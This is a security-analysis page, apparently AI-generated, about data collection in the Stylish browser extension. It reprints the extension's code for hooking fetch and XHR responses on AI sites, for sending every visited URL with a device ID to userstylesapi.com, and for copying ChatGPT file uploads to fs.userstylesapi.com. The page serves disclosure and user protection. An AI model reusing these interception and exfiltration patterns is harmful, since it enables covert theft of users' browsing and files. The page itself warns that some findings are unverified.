Is Stylish - Custom themes for any website safe?
Stylish fetches targeting rules from its own servers and routes encrypted browsing data to them on every page visit.
Every navigation triggers an RSA-encrypted request containing the page URL and a device identifier sent to userstylesapi.com — confirmed by dynamic analysis. Code analysis indicates the extension also downloads 31 obfuscated targeting rules from userstylesapi.com every six hours, which control which sites and APIs to intercept. The same code suggests a global fetch hook intercepts ChatGPT conversations and forwards them to the same domain, though that behavior has not been directly verified.
AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.
Publishers can request a review.
Findings
Fetch and XHR Responses Intercepted on AI Sites Without Consent
Stylish replaces fetch and XMLHttpRequest on pages matching a server list.
There, every matching response is read and forwarded to the service worker invisibly.
For streaming AI, it accumulates chunks, sends full text at stream end.
You visit a page that matches a rule in Stylish's server-delivered config, such as chatgpt.com.
Stylish replaces window.fetch with its own version, then reads and copies every matching network response on that page without prompting you.
The interception happens inside your browser process, no extra network request is visible until the data is forwarded to the service worker.
The fetch replacement, the shipped code and what it actually does.
// Replaces window.fetch with an intercepting version.
// Only activates if localStorage['interpolation'] === ACTIVATION_KEY.
// For each fetch call:
// 1. Check if current page URL matches any rule's page_url_match regex.
// 2. Check if request URL matches the rule's request_url_match regex.
// 3. If both match, read the response AND let the original proceed.
window.fetch = function interceptedFetch(input, init) {
const originalFetch = nativeFetch; // saved reference to real fetch
// Pass through if no rules loaded yet, or page/request URL doesn't match
if (!rules.length) return originalFetch(input, init);
if (!rules.find(r => new RegExp(r.page_url_match).test(location.href)))
return originalFetch(input, init);
const requestUrl = typeof input === 'string' ? input : input.url || input;
if (!rules.find(r => new RegExp(r.request_url_match).test(requestUrl)))
return originalFetch(input, init);
// For streaming requests (ReadableStream body), tee the stream:
// one copy goes to the server, one copy is read by the hook.
if (input instanceof Request && input.body instanceof ReadableStream) {
const [stream1, stream2] = input.body.tee();
// stream1 -> original request (page is unaffected)
// stream2 -> read by hook below
metadata = { hasForkStream: true, forkStream: stream2, ... };
}
// Make the real request, return it to the page
const realResponse = originalFetch.apply(this, interceptedArgs);
readAndForward(interceptedArgs, realResponse); // <- this is the intercept
return realResponse; // page gets normal response
}// For streaming responses (Content-Type includes 'stream' — SSE from ChatGPT/Gemini):
// Read each chunk as it arrives, accumulate into a buffer.
// Fire 'antifork' CustomEvent every 5 seconds (timeout flush) AND when stream ends.
async function readStreamingResponse(responseBody, metadata) {
const reader = responseBody.getReader();
const decoder = new TextDecoder('utf-8');
const state = { buffer: '' };
function flush(reason) {
// 'reason' is 'done', 'timeout', or 'stream-end-unexpected'
const event = new CustomEvent('antifork', {
detail: { ...metadata, message: state.buffer, reason }
});
state.buffer = '';
self.dispatchEvent(event); // contentDE.js receives this
}
// Timeout flush every 5 seconds to prevent data loss if stream hangs
const timer = setInterval(() => flush('timeout'), 5000);
try {
for (let chunk = await reader.read(); !chunk.done; chunk = await reader.read())
state.buffer += decoder.decode(chunk.value, { stream: true });
flush('done'); // final flush with complete response
} catch (e) {
flush('stream-end-unexpected');
} finally {
clearInterval(timer);
}
}Undocumented localStorage codes are a handshake between rule-setting scripts and hook code; if absent, contentInt.js exits doing nothing.
localStorage key 'extrapolation' (XHR activation) and 'interpolation' (fetch activation), set per-tab by contentDE.jsextrapolation = "qj1c5c26605l149d4g4g12ab7m78465n165b3a802e2h722n145c8c3g1j71" interpolation = "kd1c5f2b528ba81e1e9n366e348ha5391m26ac4b4n5h70926h4n3m9j8d2m"
- userstylesapi.com
Receives intercepted fetch/XHR bodies via the service worker, RSA-encrypted before POSTing. Owned by SimilarWeb.
- fs.userstylesapi.com
Receives intercepted files: anything attached to a ChatGPT or Claude conversation, via the gpt_con_fork_upload rule's fork_to_host.
URL Exfiltration: Navigation Tracking Without Disclosure
Every navigation, Stylish sends the URL, previous URL, a device ID, and transition metadata to userstylesapi.com, encrypted with a hardcoded RSA key first so it can't be inspected in transit.
You visit any web page, any site, anywhere.
Stylish records the visit without a consent prompt and sends the URL, where you came from, and your device ID to its own servers.
No user action or stylesheet installation required. Works on every site, not just ones you've styled.
| Field | Value | Why it matters | |
|---|---|---|---|
The URL you are visiting | https://news.ycombinator.com/item?id=39123891 | The exact page you are on, including any tracking parameters in the URL. | |
The URL you came from | https://news.ycombinator.com/ | Where you were browsing before this page, builds a chain of your activity. | |
Your device ID | 9f3a-7e21-beef-cafe42 | A permanent identifier unique to your install of Stylish. Lets them tie every visit back to you forever. | |
The tab that opened this one | https://www.google.com/search?q=hacker+news | If you clicked a link to open a new tab, this records where you started. | |
How you got here | link | Whether you clicked a link, typed the URL, or used a bookmark. Reveals your browsing patterns. | |
Stylish version | 3.4.10 | Which version of the extension you have installed. | |
Partner ID | a3e3e2a81 | Hardcoded value identifying this client app to the server. Same for all users. | |
Timestamp | 2026-04-14T14:12:09.122Z | When the visit happened, to the millisecond. |
On the wire, the request body looks like meaningless garbage; you cannot inspect it in your browser's DevTools. After decryption with the server's private key, it reveals exactly what you visited.
{
"gp": "https://news.ycombinator.com/item?id=39123891",
"klm": "https://news.ycombinator.com/",
"pxe": "9f3a-7e21-beef-cafe42",
"knl": "https://www.google.com/search?q=hacker+news",
"trp": "link",
"gr": "3.4.10",
"di": "a3e3e2a81",
"st": 1744640329122,
"ver": 1,
"dig": [
"tab-82374"
]
}The code that does this, from the extension's shipping source.
// Runs every time a tab finishes loading any page.
chrome.tabs.onUpdated.addListener((tabId, changeInfo, tab) => {
if (changeInfo.status === 'complete') {
TabTracker.setUpResult(tabId, tab); // stores URL + transition type
TabTracker.TrackCurrent(tabId, tab); // fires payload assembly + POST
}
});// Builds the exact object shown in the decoded view above.
function assemblePayload(tabId, tab, transitionType) {
return {
di: 'a3e3e2a81', // hardcoded partner ID
gp: tab.url, // current page URL
klm: TabState.getPrevUrl(tabId), // previous URL on this tab
ver: TabState.getCounter(tabId), // per-tab counter
trp: transitionType, // 'link' | 'typed' | 'bookmark'
knl: TabState.getOpenerRef(tabId), // opener tab URL
dig: [tabId],
gr: chrome.runtime.getManifest().version,
pxe: Settings.instance.appUniqueId // persistent device UUID
};
}- userstylesapi.com
Primary server receiving every navigation event. Owned by SimilarWeb (Stylish's parent company as of 2016).
Run this in Chrome DevTools on any page with Stylish active. It hooks the extension's RSA encrypt() function and logs the plaintext JSON payload to the console before encryption, so you can see exactly what's being sent without needing the server's private key.
// stylish-payload-inspector.js
// Hooks the RSA encrypt() call in Stylish's service worker and logs
// the plaintext before encryption. Makes opaque outbound traffic visible.
(function() {
const origImportKey = crypto.subtle.importKey.bind(crypto.subtle);
crypto.subtle.importKey = async function(format, keyData, algorithm, extractable, keyUsages) {
const key = await origImportKey(format, keyData, algorithm, extractable, keyUsages);
// If this is the RSA-OAEP key used by Stylish, wrap encrypt() to log plaintext
if (algorithm?.name === 'RSA-OAEP' && keyUsages?.includes('encrypt')) {
console.log('[STYLISH_PAYLOAD] RSA public key imported, instrumenting encrypt()');
const origEncrypt = crypto.subtle.encrypt.bind(crypto.subtle);
crypto.subtle.encrypt = async function(alg, k, data) {
if (k === key) {
try {
const plaintext = new TextDecoder().decode(data);
console.log('[STYLISH_PAYLOAD] plaintext before encryption:', plaintext);
} catch {}
}
return origEncrypt(alg, k, data);
};
}
return key;
};
console.log('[STYLISH_PAYLOAD_INSPECTOR] installed. Navigate to any page to see captured payloads.');
})();
- 1Install Stylish.
- 2Open chrome://extensions, enable Developer mode, click the service worker link for Stylish.
- 3Paste this script into the DevTools console.
- 4Navigate to any page and watch console for [STYLISH_PAYLOAD] entries.
Files You Upload to ChatGPT Are Copied to a Third-Party Server Without Notice
Uploading a file to ChatGPT, Stylish sends an identical copy to fs.userstylesapi.com.
The original still reaches OpenAI, but a duplicate diverts to Stylish, no prompt.
The rule is remote, changeable, covering any file type.
You upload any file to ChatGPT, a document, image, spreadsheet, or code file.
Stylish creates a copy of your file in memory and dispatches it to the service worker, which uploads it to fs.userstylesapi.com.
ChatGPT receives the file normally; you see no error or delay.
| Field | Value | Why it matters | |
|---|---|---|---|
Full file contents | report_Q1_2026_financials.xlsx (23KB) | The complete binary or text content of whatever you uploaded. | |
Original upload URL | https://files2.oaiusercontent.com/file-8bKcXp4rNqWz9uTy | Which OpenAI storage endpoint the file was sent to, encodes file ID and storage region. | |
File name | medical_records_2025.pdf | The original filename as you had it on your device. | |
MIME type | application/pdf | The file format, reveals what kind of data you are sharing with ChatGPT. |
The hook that intercepts file uploads (contentInt.js):
// Runs 1 second after an XHR.send() call.
// If the request carries a File (i.e. a file upload) and the rule matched:
setTimeout(() => {
if (this["antifork+"] && arguments[0] instanceof File) {
const fileName = arguments[0].name;
const fileType = arguments[0].type;
const blobUrl = URL.createObjectURL(arguments[0]); // wrap file in memory blob URL
self.dispatchEvent(new CustomEvent("antifork-fk", {
detail: {
way: "xhr",
ab: blobUrl, // blob URL pointing to the file data
url: this.unsafeHeaders, // original upload destination (oaiusercontent.com)
name: fileName,
type: fileType,
fth: this["fork_to_host"], // = "fs.userstylesapi.com"
c: this[rule_object] // the matching rule
}
}));
}
}, 1000);The remote config rule that activates this (rule 27, decoded from userstylesapi.com/content/config):
{
"configTarget": "content_request_fork_and_proxy",
"type": "gpt_con_fork_upload",
"page_url_match": "https:\/\/chat(gpt)?.com.*",
"request_url_match": "https:\/\/files\\d{0,2}\\.oaiusercontent\\.com\/file-.*|https:\/\/sdmntpr\\w+\\.oaiusercontent\\.com\/files\/",
"fork_to_host": "fs.userstylesapi.com"
}- fs.userstylesapi.com
File storage subdomain receiving forked ChatGPT uploads. Part of the userstylesapi.com infrastructure operated by SimilarWeb, Stylish's parent company.
- files2.oaiusercontent.com
OpenAI's legitimate file storage (original destination). The file also reaches OpenAI normally; the fork is additive.
+11 more findings not shown